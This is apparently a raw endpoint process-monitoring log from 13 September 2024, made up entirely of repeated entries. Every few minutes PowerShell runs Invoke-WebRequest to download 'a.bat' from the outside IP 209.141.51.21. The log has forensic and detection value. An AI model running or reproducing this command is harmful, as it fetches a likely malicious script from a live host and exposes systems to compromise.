C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 11:26:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 11:28:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 11:31:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 11:33:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 11:36:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 11:38:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 11:41:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 11:43:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 11:46:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 11:48:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 11:51:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 11:53:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 11:56:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 11:58:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 12:01:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 12:03:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 12:06:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 12:08:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 12:11:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 12:13:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 12:16:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 12:18:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 12:21:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 12:23:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 12:26:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 12:28:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 12:31:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 12:33:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 12:36:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 12:38:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 12:41:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 12:43:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 12:46:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 12:48:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 12:51:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 12:53:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 12:56:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 12:58:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 13:01:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 13:03:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 13:06:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 13:08:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 13:11:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 13:13:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 13:16:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 13:18:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 13:21:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 13:23:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 13:26:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 13:28:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 13:31:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 13:33:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 13:36:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 13:38:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 13:41:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 13:43:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 13:46:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 13:48:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 13:51:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 13:53:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 13:56:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 13:59:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 14:01:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 14:04:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 14:06:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 14:09:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 14:11:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 14:14:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 14:16:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 14:19:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 14:21:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 14:24:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 14:26:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 14:29:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 14:31:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 14:34:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 14:36:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 14:39:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 14:41:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 14:44:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 14:46:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 14:49:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 14:51:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 14:54:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 14:56:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 14:59:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 15:01:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 15:04:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 15:06:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 15:09:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 15:11:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 15:14:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 15:16:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 15:19:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 15:21:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 15:24:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 15:26:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 15:29:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 15:31:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 15:34:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 15:36:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 15:39:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 15:41:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 15:44:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 15:46:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 15:49:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 15:51:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 15:54:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 15:56:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 15:59:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 16:01:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 16:04:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 16:06:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 16:09:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 16:11:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 16:15:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 16:17:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 16:19:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 16:22:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 16:24:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 16:27:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 16:29:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 16:32:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 16:34:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 16:37:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 16:39:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 16:42:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 16:44:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 16:47:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 16:49:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 16:52:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 16:54:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 16:57:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 16:59:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 17:02:06 NOTIFY: PROCESS 